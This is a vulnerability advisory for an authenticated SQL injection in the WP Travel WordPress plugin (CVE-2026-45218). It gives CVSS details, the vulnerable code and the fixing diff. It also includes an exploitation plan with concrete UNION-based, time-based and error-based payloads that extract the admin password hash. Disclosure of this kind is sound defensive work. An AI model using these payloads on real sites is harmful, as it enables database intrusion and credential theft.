CVE-2026-45218

WP Travel – Ultimate Travel Booking System, Tour Management Engine <= 11.4.0 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
11.5.0
Patched in
11d
Time to patch

Description

The WP Travel – Ultimate Travel Booking System, Tour Management Engine plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 11.4.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=11.4.0
PublishedMay 9, 2026
Last updatedMay 19, 2026
Affected pluginwp-travel

What Changed in the Fix

Changes introduced in v11.5.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Detailed Exploitation Research Plan - CVE-2026-45218 ## 1. Vulnerability Summary **CVE-2026-45218** is a SQL Injection vulnerability in the **WP Travel** plugin (versions <= 11.4.0) affecting the `update_trip` AJAX functionality. The flaw exists in the `WpTravel_Helpers_Trip_Dates::add_individual…

Show full research plan

Detailed Exploitation Research Plan - CVE-2026-45218

1. Vulnerability Summary

CVE-2026-45218 is a SQL Injection vulnerability in the WP Travel plugin (versions <= 11.4.0) affecting the update_trip AJAX functionality. The flaw exists in the WpTravel_Helpers_Trip_Dates::add_individual_date function, where the pricing_ids parameter from user input is interpolated directly into a SQL IN() clause without sufficient escaping or the use of placeholders in wpdb->prepare(). This allows an authenticated attacker (Contributor level and above) to execute arbitrary SQL queries to extract sensitive data from the database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wp_travel_update_trip
  • Vulnerable Parameter: pricing_ids (within the dates array of the JSON payload)
  • Authentication: Authenticated, Contributor level or higher. The attacker must have permission to edit a specific "itinerary" (trip) post.
  • Preconditions:
    • A trip (post type itineraries) must exist and be editable by the attacker.
    • A valid wp_travel_nonce must be obtained.

3. Code Flow

  1. Entry Point: The AJAX action wp_ajax_wp_travel_update_trip triggers WP_Travel_Ajax_Trips::update_trip() in core/ajax/trips.php.
  2. Permission Check: It calls self::get_trip_permission_check(), which verifies the wp_travel_nonce and checks if the user has edit_post capabilities for the given trip_id.
  3. Data Handling: The function reads the JSON payload from php://input, decodes it, and passes it to WP_Travel_Helpers_Trips::update_trip($trip_id, $new_post_data).
  4. Helper Logic: WP_Travel_Helpers_Trips::update_trip calls WpTravel_Helpers_Trip_Dates::update_dates($trip_id, $dates) (located in core/helpers/trip-dates.php).
  5. Vulnerable Sink: update_dates iterates through the provided dates and calls add_individual_date($trip_id, $date).
  6. SQL Injection Point: In core/helpers/trip-dates.php, the following code executes:
    $pricing_ids = ! empty( $date['pricing_ids'] ) ? $date['pricing_ids'] : '';
    if ( $pricing_ids ) {
        // VULNERABLE LINE
        $result = $wpdb->get_row( $wpdb->prepare( "SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $pricing_ids )", $trip_id ) );
        $pricing_ids = $result->pricing_ids;
    }
    
    The $pricing_ids variable is directly concatenated into the SQL string. The $wpdb->prepare only parameterizes the $trip_id.

4. Nonce Acquisition Strategy

To obtain the wp_travel_nonce for an authenticated user:

  1. Log in as a Contributor.
  2. Create or navigate to the edit page of an itinerary: /wp-admin/post.php?post=ID&action=edit (where ID is a trip ID owned by the contributor).
  3. Use browser_navigate to load the editor page.
  4. Use browser_eval to extract the nonce from the localized JavaScript object.
  5. Localization Key: wp_travel_obj.nonce (inferred from plugin standard; verify with window.wp_travel_obj in console).

5. Exploitation Strategy

The goal is to use a UNION SELECT payload to extract the administrator's password hash and save it into the wt_dates table, then retrieve it via a subsequent get_trip call.

Step 1: SQL Injection Attack

HTTP Request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php?action=wp_travel_update_trip&trip_id=[TRIP_ID]&_nonce=[NONCE]
  • Method: POST
  • Headers: Content-Type: application/json
  • Payload:
    {
      "dates": [
        {
          "title": "Exploit Date",
          "start_date": "2026-01-01",
          "pricing_ids": "0) UNION SELECT user_pass FROM wp_users WHERE ID=1 #"
        }
      ]
    }
    
    Note: The payload closes the IN( parenthesis, performs a UNION SELECT to fetch the admin hash, and comments out the rest.

Step 2: Data Extraction

HTTP Request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php?action=wp_travel_get_trip&trip_id=[TRIP_ID]&_nonce=[NONCE]
  • Method: GET
  • Expected Response: A JSON object where the dates array contains an entry with pricing_ids set to the admin's password hash.

6. Test Data Setup

  1. Create User: Create a user with the contributor role.
  2. Create Itinerary: Use WP-CLI to create a trip post owned by the contributor.
    wp post create --post_type=itineraries --post_title="Test Trip" --post_author=[CONTRIBUTOR_ID] --post_status=publish
    
  3. Obtain Trip ID: Record the ID of the created post.

7. Expected Results

  • The update_trip request should return a success code (WP_TRAVEL_UPDATE_TRIP_PRICINGS or similar).
  • The get_trip request should return the itinerary data.
  • The dates field in the get_trip response will contain the result of the SQL subquery (the admin hash) in the pricing_ids field.

8. Verification Steps

  1. Database Check: Verify the contents of the wt_dates table using WP-CLI.
    wp db query "SELECT pricing_ids FROM wp_wt_dates WHERE trip_id=[TRIP_ID]"
    
  2. Hash Comparison: Compare the returned value with the actual admin hash:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
    

9. Alternative Approaches

  • Time-Based Blind SQLi: If the UNION approach is restricted by GROUP_CONCAT behavior, use a sleep-based payload:
    pricing_ids=1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) AND (1 IN (1
  • Error-Based SQLi: If WP_DEBUG is enabled, use updatexml() or extractvalue():
    pricing_ids=1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) AND (1 IN (1
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Travel plugin for WordPress is vulnerable to authenticated SQL Injection via the 'pricing_ids' parameter in the 'wp_travel_update_trip' AJAX action. This vulnerability exists because the plugin directly concatenates user-supplied data into a SQL query's IN() clause without proper sanitization or parameterization, allowing a contributor-level attacker to extract sensitive data from the database.

Vulnerable Code

// core/helpers/trip-dates.php:174
		$date_id     = ! empty( $date['id'] ) ? $date['id'] : '';
		$pricing_ids = ! empty( $date['pricing_ids'] ) ? $date['pricing_ids'] : '';
		
		if ( $pricing_ids ) { // Need to sort pricing id in dates table to display pricing as per sorted.
			$result      = $wpdb->get_row( $wpdb->prepare( "SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $pricing_ids )", $trip_id ) ); // @phpcs:ignore
			$pricing_ids = $result->pricing_ids;
		}

Security Fix

--- core/helpers/trip-dates.php
+++ core/helpers/trip-dates.php
@@ -174,7 +174,10 @@
 		$pricing_ids = ! empty( $date['pricing_ids'] ) ? $date['pricing_ids'] : '';
 		
 		if ( $pricing_ids ) { // Need to sort pricing id in dates table to display pricing as per sorted.
-			$result      = $wpdb->get_row( $wpdb->prepare( "SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $pricing_ids )", $trip_id ) ); // @phpcs:ignore
+			$pricing_ids_arr = array_map( 'absint', explode( ',', $pricing_ids ) );
+			$placeholders    = implode( ',', array_fill( 0, count( $pricing_ids_arr ), '%d' ) );
+			$query           = $wpdb->prepare( "SELECT GROUP_CONCAT( id ORDER BY sort_order ASC ) AS pricing_ids FROM {$wpdb->prefix}wt_pricings WHERE trip_id=%d AND id IN( $placeholders )", array_merge( array( $trip_id ), $pricing_ids_arr ) );
+			$result          = $wpdb->get_row( $query ); // @phpcs:ignore
 			$pricing_ids = $result->pricing_ids;
 		}

Exploit Outline

The attacker first authenticates as a Contributor and obtains a valid 'wp_travel_nonce' and a trip ID they have permission to edit. They then send a POST request to 'wp-admin/admin-ajax.php' with the action 'wp_travel_update_trip'. The payload is a JSON object containing a 'dates' array where the 'pricing_ids' field is populated with a SQL injection payload (e.g., '0) UNION SELECT user_pass FROM wp_users WHERE ID=1 -- '). Because the 'pricing_ids' value is directly concatenated into a GROUP_CONCAT query, the subquery result is stored in the 'wt_dates' table. Finally, the attacker retrieves the extracted data (such as the admin password hash) by calling the 'wp_travel_get_trip' AJAX action for the modified trip.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.